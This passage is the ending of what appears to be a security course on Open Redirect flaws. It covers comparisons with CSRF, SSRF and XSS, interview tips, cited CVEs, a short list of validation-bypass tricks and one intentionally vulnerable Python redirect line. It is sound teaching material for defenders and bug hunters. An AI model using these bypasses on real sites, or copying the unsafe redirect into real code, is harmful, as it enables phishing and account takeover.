  • Open Redirect vs CSRF. Redirect navigates the browser; CSRF makes the browser submit a request.
  • Open Redirect vs SSRF. Redirect is client-side; SSRF is server-side fetching.
  • Open Redirect vs Reflected XSS. Redirect changes location; XSS executes script. They chain via `javascript:` URIs.
  • Open Redirect vs Phishing. Redirect is the primitive; phishing is the outcome.
  • redirect_uri vs RelayState. OAuth uses `redirect_uri`; SAML uses `RelayState`. Both validated identically in spirit.

Interview Tips

  • Explain Open Redirect without using "phishing" first.
  • Cite CVE-2025-4123 (Grafana) and CVE-2024-52289 (Authentik) as recent examples.
  • Mention CWE-601 and the OAuth chain.
  • Finish with the defense: allowlist, host-parse, framework-safe API, exact-match redirect_uri.
  • Draw the safe-vs-vulnerable code from memory.

Key Takeaways

  • A redirect is the server's decision; attackers want to make it their decision.
  • Plain Open Redirect is phishing. Chained Open Redirect is account takeover.
  • The bypass arsenal is large (`//`, `/\`, `@`, `.attacker.com`, encoding, IDN, CRLF). The defense is small (allowlist, host-parse, exact-match).
  • OAuth and SAML flows turn Open Redirect into the keys to the kingdom.
  • The fix is one architectural rule: the destination must come from server-trusted data.

24. Final Word from Your Instructor

Open Redirect is the vulnerability that hides in plain sight.

It looks like a footnote in a security report. It feels like "the user got phished, not us". It scores low on the standard CVSS calculator unless someone bothers to model the chain.

But every OAuth account takeover ever shipped to production started with an Open Redirect.

Every SAML hijack started with a `?RelayState=` trusted blindly.

Every "phishing campaign that bypassed our DMARC and SPF" started with a legitimate brand domain that lent its trust to the attacker for free.

Every time a developer writes:

python
return redirect(request.args.get("next"))

A new Open Redirect is born somewhere in the world.

Your job is to look at any `?next=`, `?returnTo=`, `?redirect_uri=`, `?RelayState=` and ask: "Who decides where this URL goes?"

When you see a login form, ask: "Is the post-login destination chosen by the server or by the user?"

When you see an OAuth flow, ask: "Is the `redirect_uri` exact-matched, or is it `startsWith`?"

When you see a SAML response, ask: "Is the RelayState a fixed token or a free-form URL?"

When you see a marketing redirect (`/r?url=...`), ask: "Is there any host validation at all?"

When you see a password-reset email, ask: "Could the click leak the token via Referer?"

If the answer takes you to a place where an attacker decides where a browser goes next, you have found a bug worth thousands of dollars.

The 30 bypasses are your arsenal. The 50 parameter names are your map. The OAuth chain is your endgame.

  • Welcome to the world where a single URL parameter decides who owns the account.
  • Go hunt.